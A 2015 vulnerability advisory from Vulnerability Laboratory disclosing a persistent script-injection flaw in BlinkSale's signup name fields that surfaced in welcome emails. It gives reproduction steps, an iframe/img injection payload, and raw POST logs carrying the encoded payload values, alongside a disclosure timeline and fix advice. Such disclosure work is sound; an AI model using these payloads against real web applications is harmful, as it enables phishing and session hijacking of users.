Document Title: =============== BlinkSale Bug Bounty #1 - Encode & Validation Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1416 Release Date: ============= 2015-02-06 Vulnerability Laboratory ID (VL-ID): ==================================== 1416 Common Vulnerability Scoring System: ==================================== 3.6 Product & Service Introduction: =============================== We like to get paid. We’re sure you feel the same. So while you can use Blinksale and get paid by check, our integration with Stripe* makes it easy to get paid in a flash. Just sign up at Stripe, put your credentials into Blinksale, and you’re all set to accept credit card payments on your invoices! (Copy of the Vendor Homepage: https://www.blinksale.com/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered an application-side input validation mail encoding web vulnerability in the official BlinkSale web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-19: Researcher Notification & Coordination (Benjamin Kunz Mejri) 2015-01-20: Vendor Notification (BlinksaleSecurity Team) 2015-01-26: Vendor Response/Feedback (BlinksaleSecurity Team) 2015-02-03: Vendor Fix/Patch (Blinksale Developer Team) 2015-02-06: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Doublewide Partners Product: Blinksale 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation mail encoding vulnerability has been discovered in the official BlinkSale company web-application. The issue allows remote attackers to inject own malicious web context to the application-side of a vulnerable module or function. The security vulnerability is located in the `firstname` and `lastname` input field values of the `signups` file. Remote attackers and local privileged application user accounts can exploit the issue to execute persistent malicious context in blinksale service mails. The injection takes place in the signup POST method request with the vulnerable input values. The execution of the script code occurs on the application-side in the email after the introduction word `Hello` [X Username]. Attackers are able to inject iframes, img sources with onload alert or other script code tags. The service does not encode the input and has also no input restriction. After the code has been saved during the registration the internal service takes the wrong encoded dbms entries and stream them back in a notification mail to the users inbox. The security risk of the persistent input validation web vulnerability in the mail encoding of the web-server is estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. If the issue is existing in the main service values the other services can be affected by the issue too. Exploitation of the mail encoding and web-server validation vulnerability requires low or medium user interaction and no privileged customer application user account. Successful exploitation of the persistent mail encoding web vulnerability results in session hijacking, persistent phishing attacks, persistent redirects to external malicious source and persistent manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] signups Vulnerable Parameter(s): [+] firstname [+] lastname Affected Module(s): [+] Welcome to Blinksale! Proof of Concept (PoC): ======================= The application-side mail encoding web vulnerability can be exploited by remote attackers with low privileged application user accounta and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. 1. Open the signup website of the blinksale portal (https://application.blinksale.com/signups) 2. Include random values to the email, password and inject a script code payload as firstname and lastname to the input fields. Save! 3. Go to the mail inbox and wait for the automatic reply with the persistent injected script code 4. Successful reproduce of the remote mail encoding vulnerability Note: The issue can stream persistent malicious context in mails to existing users, new users or random emails to phish or spam! PoC: Welcome to Blinksale!

Hello "><[APPLICATION-SIDE SCRIPT CODE EXECUTION VULNERABILITY!]iframe src="a" onload='alert("PENTEST")'>

Welcome to Blinksale, the easiest way to send invoices online! Please save this email as it contains important information about your account.

Your Account Details:

  • Your Blinksale homepage is: https://tester23.blinksale.com
    • --- PoC Session Logs [POST] (Inject)--- 20:49:10.401[466ms][total 466ms] Status: 302[Found] POST https://application.blinksale.com/signups Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[102] Mime Type[text/html] Request Header: Host[application.blinksale.com] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en- US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://application.blinksale.com/signup] Cookie[_ga=GA1.2.1597400543.1421696385; _gat=1; _bs1_session=BAh7CkkiCmZsYXNoBjoGRUZJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7ADoPc2Vzc2lvbl9pZCIlMTdhN2YyYmM zNzk1NTg3YzU5NGM3MmI0OTYyZTNkMzU6EF9jc3JmX3Rva2VuSSIxSzZDL0JqUGd5dXk1bThrOSsvZ0Mrek44b1VzTk5jMjlJdE5ZZjJ JeVB5Yz0GOwBGOhxhbmFseXRpY2FsX2dhX2JsaW5rc2FsZVsAOhZhbmFseXRpY2FsX2Fkcm9sbFsA--dcc12bdbc4f03f051603c5b9bda8c9097b3fdce6; SnapABugRef=https%3A%2F%2Fapplication.blinksale.com%2Fsignup%20https%3A%2F%2Fwww.blinksale.com%2F; SnapABugHistory=1#; SnapABugVisit=3#1421696408; SnapABugChatWindow=false|0|-1,0,-1,0; __ar_v4=RKJIJ445EBHOVP4E26ZTZF%3A20150118%3A3%7 COPBKELH4GFBMBJGM76CDSD%3A20150118%3A3%7C4ZEUEB72Y5AGLAYIRHCWUL%3A20150118%3A3; _cioid=59631; _cio=bbf0ad6b-9167-ef35-541a-173be03a58bd] Connection[keep-alive] POST-Daten: authenticity_token[K6C%2FBjPgyuy5m8k9%2B%2FgC%2BzN8oUsNNc29ItNYf2IyPyc%3D] sign_up%5Bcode%5D[] sign_up%5Bfirst_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] sign_up%5Blast_name%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] sign_up%5Bemail%5D[admin%40evolution-sec.com] sign_up%5Baddress%5D[] sign_up%5Bdomain%5D[pentester7331] sign_up%5Bpassword%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] sign_up%5Bpassword_confirmation%5D[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E] Response Header: Cache-Control[no-cache, no-store, must-revalidate, max-age=0, pre-check=0, post-check=0] Content-Type[text/html; charset=utf-8] Date[Mon, 19 Jan 2015 19:49:12 GMT] Location[https://pentester7331.blinksale.com/] Pragma[no-cache] Server[nginx] Set-Cookie[_bs1_session=BAh7C0kiCmZsYXNoBjoGRUZJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsHOhhjb252ZXJzaW9uX3RyYWNraW5nVDoMc3VjY2Vzc0lDOh5BY3RpdmV TdXBwb3J0OjpTYWZlQnVmZmVyIgGfPHN0cm9uZz5XZWxjb21lICZxdW90OyZndDsmbHQ7JnF1b3Q7Jmx0O2ltZyBzcm M9JnF1b3Q7eCZxdW90OyZndDslMjAlMjAmZ3Q7JnF1b3Q7Jmx0O2lmcmFtZSBzcmM9YSZndDslMjAmbHQ7aWZyYW1lJmd0OywgeW91ciBhY2NvdW50IGhhcyBiZWVuIGNyZWF0ZWQhPC9zdHJvbmc %2BBjsARgY6CkB1c2Vkewc7B0Y7CEY6D3Nlc3Npb25faWQiJTE3YTdmMmJjMzc5NTU4N2M1OTRjNzJiNDk2MmUzZDM1OhBfY3NyZl90b2tlbkkiMUs2Qy9CalBneXV5NW04azkrL2dDK3pOOG9Vc05OYz I5SXROWWYySXlQeWM9BjsARjocYW5hbHl0aWNhbF9nYV9ibGlua3NhbGVbBlsHOgpldmVudEkiFWFjY291b nRfY3JlYXRpb24GOwBGOhZhbmFseXRpY2FsX2Fkcm9sbFsGWwc7DkAOOgx1c2VyX2lkaQMqBDQ%3D--18531b9ae0baf8456e5f0e46055e512ce9699305; domain=.blinksale.com; path=/; secure; HttpOnly] Status[302 Found] Strict-Transport-Security[max-age=631152000; includeSubdomains] x-content-type-options[nosniff] X-Frame-Options[DENY] X-Runtime[297] X-XSS-Protection[1; mode=block] Content-Length[102] Connection[keep-alive] - Status: Welcome "><"%20%20>"

    Reference(s): https://application.blinksale.com/signup https://pentester7331.blinksale.com/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable firstname and lastname input fields in the signups module. Encode and parse the values that is get send in a notification to welcome user/customer accounts to prevent an application-side execution. Security Risk: ============== The security risk of the application-side input validation web vulnerability in the blinksale web-application is estimated as medium. (CVSS 3.6) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt